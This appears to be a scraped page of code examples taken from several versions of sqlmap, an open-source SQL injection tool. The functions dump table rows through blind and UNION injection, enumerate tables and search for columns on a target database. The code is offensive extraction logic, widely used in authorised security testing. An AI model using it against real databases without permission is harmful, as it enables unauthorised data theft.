    return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
Beispiel #10
0
    def __pivotDumpTable(self, table, colList, count=None, blind=True):
        lengths = {}
        entries = {}

        dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind

        validColumnList = False
        validPivotValue = False

        if count is None:
            query = dumpNode.count % table
            count = (
                inject.getValue(
                    query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS
                )
                if blind
                else inject.getValue(query, blind=False, expected=EXPECTED.INT)
            )

        if isinstance(count, basestring) and count.isdigit():
            count = int(count)

        if count == 0:
            infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table)
            logger.info(infoMsg)

            for column in colList:
                lengths[column] = len(column)
                entries[column] = []

            return entries, lengths

        elif not isNumPosStrValue(count):
            return None

        for column in colList:
            lengths[column] = 0
            entries[column] = BigArray()

        colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT))

        for column in colList:
            infoMsg = "fetching number of distinct "
            infoMsg += "values for column '%s'" % column
            logger.info(infoMsg)

            query = dumpNode.count2 % (column, table)
            value = inject.getValue(
                query,
                blind=blind,
                inband=not blind,
                error=not blind,
                expected=EXPECTED.INT,
                charsetType=CHARSET_TYPE.DIGITS,
            )

            if isNumPosStrValue(value):
                validColumnList = True

                if value == count:
                    infoMsg = "using column '%s' as a pivot " % column
                    infoMsg += "for retrieving row data"
                    logger.info(infoMsg)

                    validPivotValue = True

                    colList.remove(column)
                    colList.insert(0, column)
                    break

        if not validColumnList:
            errMsg = "all column name(s) provided are non-existent"
            raise sqlmapNoneDataException, errMsg

        if not validPivotValue:
            warnMsg = "no proper pivot column provided (with unique values)."
            warnMsg += " It won't be possible to retrieve all rows"
            logger.warn(warnMsg)

        pivotValue = " "
        breakRetrieval = False

        try:
            for i in xrange(count):
                if breakRetrieval:
                    break

                for column in colList:
                    # Correction for pivotValues with unrecognized/problematic chars
                    for char in ("'", "?"):
                        if pivotValue and char in pivotValue and pivotValue[0] != char:
                            pivotValue = pivotValue.split(char)[0]
                            pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
                            break
                    if column == colList[0]:
                        query = dumpNode.query % (column, table, column, pivotValue)
                    else:
                        query = dumpNode.query2 % (column, table, colList[0], pivotValue)

                    value = inject.getValue(query, blind=blind, inband=not blind, error=not blind)

                    if column == colList[0]:
                        if isNoneValue(value):
                            breakRetrieval = True
                            break
                        else:
                            pivotValue = safechardecode(value)

                    if conf.limitStart or conf.limitStop:
                        if conf.limitStart and (i + 1) < conf.limitStart:
                            warnMsg = "skipping first %d pivot " % conf.limitStart
                            warnMsg += "point values"
                            singleTimeWarnMessage(warnMsg)
                            break
                        elif conf.limitStop and (i + 1) > conf.limitStop:
                            breakRetrieval = True
                            break

                    value = "" if isNoneValue(value) else unArrayizeValue(value)

                    lengths[column] = max(lengths[column], len(value) if value else 0)
                    entries[column].append(value)

        except KeyboardInterrupt:
            warnMsg = "user aborted during enumeration. sqlmap "
            warnMsg += "will display partial output"
            logger.warn(warnMsg)

        except sqlmapConnectionException, e:
            errMsg = "connection exception detected. sqlmap "
            errMsg += "will display partial output"
            errMsg += "'%s'" % e
            logger.critical(errMsg)
Beispiel #11
0
    def __pivotDumpTable(self, table, colList, count=None, blind=True):
        lengths = {}
        entries = {}

        dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind

        validColumnList = False
        validPivotValue = False

        if count is None:
            query = dumpNode.count % table
            count = inject.getValue(
                query,
                inband=False,
                error=False,
                expected=EXPECTED.INT,
                charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(
                    query, blind=False, expected=EXPECTED.INT)

        if isinstance(count, basestring) and count.isdigit():
            count = int(count)

        if count == 0:
            infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(
                table)
            logger.info(infoMsg)

            for column in colList:
                lengths[column] = len(column)
                entries[column] = []

            return entries, lengths

        elif not isNumPosStrValue(count):
            return None

        for column in colList:
            lengths[column] = 0
            entries[column] = BigArray()

        colList = filter(
            None, sorted(colList, key=lambda x: len(x) if x else MAX_INT))

        for column in colList:
            infoMsg = "fetching number of distinct "
            infoMsg += "values for column '%s'" % column
            logger.info(infoMsg)

            query = dumpNode.count2 % (column, table)
            value = inject.getValue(query,
                                    blind=blind,
                                    inband=not blind,
                                    error=not blind,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if isNumPosStrValue(value):
                validColumnList = True

                if value == count:
                    infoMsg = "using column '%s' as a pivot " % column
                    infoMsg += "for retrieving row data"
                    logger.info(infoMsg)

                    validPivotValue = True

                    colList.remove(column)
                    colList.insert(0, column)
                    break

        if not validColumnList:
            errMsg = "all column name(s) provided are non-existent"
            raise sqlmapNoneDataException, errMsg

        if not validPivotValue:
            warnMsg = "no proper pivot column provided (with unique values)."
            warnMsg += " It won't be possible to retrieve all rows"
            logger.warn(warnMsg)

        pivotValue = " "
        breakRetrieval = False

        try:
            for i in xrange(count):
                if breakRetrieval:
                    break

                for column in colList:
                    # Correction for pivotValues with unrecognized/problematic chars
                    for char in ('\'', '?'):
                        if pivotValue and char in pivotValue and pivotValue[
                                0] != char:
                            pivotValue = pivotValue.split(char)[0]
                            pivotValue = pivotValue[:-1] + decodeIntToUnicode(
                                ord(pivotValue[-1]) + 1)
                            break
                    if column == colList[0]:
                        query = dumpNode.query % (column, table, column,
                                                  pivotValue)
                    else:
                        query = dumpNode.query2 % (column, table, colList[0],
                                                   pivotValue)

                    value = inject.getValue(query,
                                            blind=blind,
                                            inband=not blind,
                                            error=not blind)

                    if column == colList[0]:
                        if isNoneValue(value):
                            breakRetrieval = True
                            break
                        else:
                            pivotValue = safechardecode(value)

                    if conf.limitStart or conf.limitStop:
                        if conf.limitStart and (i + 1) < conf.limitStart:
                            warnMsg = "skipping first %d pivot " % conf.limitStart
                            warnMsg += "point values"
                            singleTimeWarnMessage(warnMsg)
                            break
                        elif conf.limitStop and (i + 1) > conf.limitStop:
                            breakRetrieval = True
                            break

                    value = "" if isNoneValue(value) else unArrayizeValue(
                        value)

                    lengths[column] = max(lengths[column],
                                          len(value) if value else 0)
                    entries[column].append(value)

        except KeyboardInterrupt:
            warnMsg = "user aborted during enumeration. sqlmap "
            warnMsg += "will display partial output"
            logger.warn(warnMsg)

        except sqlmapConnectionException, e:
            errMsg = "connection exception detected. sqlmap "
            errMsg += "will display partial output"
            errMsg += "'%s'" % e
            logger.critical(errMsg)
Beispiel #12
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an UNION SQL injection on the target
    URL then call its subsidiary function to effectively perform an
    UNION SQL injection on the affected URL
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if conf.api else None

    if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
        kb.rowXmlMode = True
        _ = "(%s FOR XML RAW, BINARY BASE64)" % expression
        output = _oneShotUnionUse(_, False)
        value = parseUnionPage(output)
        kb.rowXmlMode = False

    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "used SQL query returns "
                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                    logger.info(infoMsg)

            elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            if isNumPosStrValue(count) and int(count) > 1:
                threadData = getCurrentThreadData()

                try:
                    threadData.shared.limits = iter(xrange(startLimit, stopLimit))
                except OverflowError:
                    errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
                    errMsg += "with switch '--fresh-queries'"
                    raise SqlmapDataException(errMsg)

                numThreads = min(conf.threads, (stopLimit - startLimit))
                threadData.shared.value = BigArray()
                threadData.shared.buffered = []
                threadData.shared.counter = 0
                threadData.shared.lastFlushed = startLimit - 1
                threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1

                if threadData.shared.showEta:
                    threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))

                if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                    kb.suppressResumeInfo = True
                    debugMsg = "suppressing possible resume console info because of "
                    debugMsg += "large number of rows. It might take too long"
                    logger.debug(debugMsg)

                try:
                    def unionThread():
                        threadData = getCurrentThreadData()

                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
                                    threadData.shared.counter += 1
                                    num = next(threadData.shared.limits)
                                except StopIteration:
                                    break

                            if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                                field = expressionFieldsList[0]
                            elif Backend.isDbms(DBMS.ORACLE):
                                field = expressionFieldsList
                            else:
                                field = None

                            limitedExpr = agent.limitQuery(num, expression, field)
                            output = _oneShotUnionUse(limitedExpr, unpack, True)

                            if not kb.threadContinue:
                                break

                            if output:
                                with kb.locks.value:
                                    if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
                                        items = parseUnionPage(output)

                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(threadData.shared.counter)
                                        if isListLike(items):
                                            # in case that we requested N columns and we get M!=N then we have to filter a bit
                                            if len(items) > 1 and len(expressionFieldsList) > 1:
                                                items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                            items = [_ for _ in flattenValue(items)]
                                            if len(items) > len(expressionFieldsList):
                                                filtered = OrderedDict()
                                                for item in items:
                                                    key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
                                                    if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
                                                        filtered[key] = item
                                                items = filtered.values()
                                            items = [items]
                                        index = None
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(index or 0, (num, items))
                                    else:
                                        index = None
                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(threadData.shared.counter)
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(index or 0, (num, None))

                                        items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                                    while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                        threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]

                                if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
                                    _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
                                    status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))

                                    if len(status) > width:
                                        status = "%s..." % status[:width - 3]

                                    dataToStdout("%s\n" % status)

                    runThreads(numThreads, unionThread)

                    if conf.verbose == 1:
                        clearConsoleLine(True)

                except KeyboardInterrupt:
                    abortedFlag = True

                    warnMsg = "user aborted during enumeration. sqlmap "
                    warnMsg += "will display partial output"
                    logger.warn(warnMsg)

                finally:
                    for _ in sorted(threadData.shared.buffered):
                        if not isNoneValue(_[1]):
                            threadData.shared.value.extend(arrayizeValue(_[1]))
                    value = threadData.shared.value
                    kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        output = _oneShotUnionUse(expression, unpack)
        value = parseUnionPage(output)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
Beispiel #13
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

        dbs = [_ for _ in dbs if _ and _.strip()]

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable and not conf.freshQueries:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            values = []

            for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
                if not isNoneValue(values) or not query:
                    break

                if condition:
                    if not Backend.isDbms(DBMS.SQLITE):
                        query += " WHERE %s" % condition

                        if conf.excludeSysDbs:
                            infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                            logger.info(infoMsg)
                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
                        else:
                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                    if len(dbs) < 2 and ("%s," % condition) in query:
                        query = query.replace("%s," % condition, "", 1)

                if query:
                    values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = [_ for _ in arrayizeValue(values) if _]

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(unArrayizeValue(table), True)

                    if conf.getComments:
                        _ = queries[Backend.getIdentifiedDbms()].table_comment
                        if hasattr(_, "query"):
                            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
                            else:
                                query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))

                            comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                            if not isNoneValue(comment):
                                infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
                                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                                logger.info(infoMsg)
                        else:
                            warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                            warnMsg += "possible to get column comments"
                            singleTimeWarnMessage(warnMsg)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.info(infoMsg)
                    continue

                if conf.exclude and db in conf.exclude.split(','):
                    infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
                    singleTimeLogMessage(infoMsg)
                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
                        query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].table_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
                                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get column comments"
                                singleTimeWarnMessage(warnMsg)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            elif not conf.search:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables:
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables
Beispiel #14
0
    def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = { "USERS": {} }
        colList = conf.col.split(",")
        colCond = rootQuery.inband.condition

        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            column = column.upper()            

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
            logger.info(infoMsg)

            foundCols[column] = {}

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in dbs.keys():
                db = safeSQLIdentificatorNaming(db)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query
                    query += colQuery
                    values = inject.getValue(query, blind=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam))

                                dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [ foundTbl ]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query += " WHERE %s" % colQuery
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query += " WHERE %s" % colQuery
                        query = agent.limitQuery(index, query)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam))

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        self.dumpFoundColumn(dbs, foundCols, colConsider)
Beispiel #15
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an union SQL injection on the target
    url then call its subsidiary function to effectively perform an
    union SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    if expressionFieldsList and len(expressionFieldsList) > 1 and " ORDER BY " in expression.upper():
        # No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps
        expression = expression[:expression.upper().rindex(" ORDER BY ")]

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop))) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.isDbms(DBMS.ORACLE):
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart - 1
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = parseUnionPage(output)

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring) or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
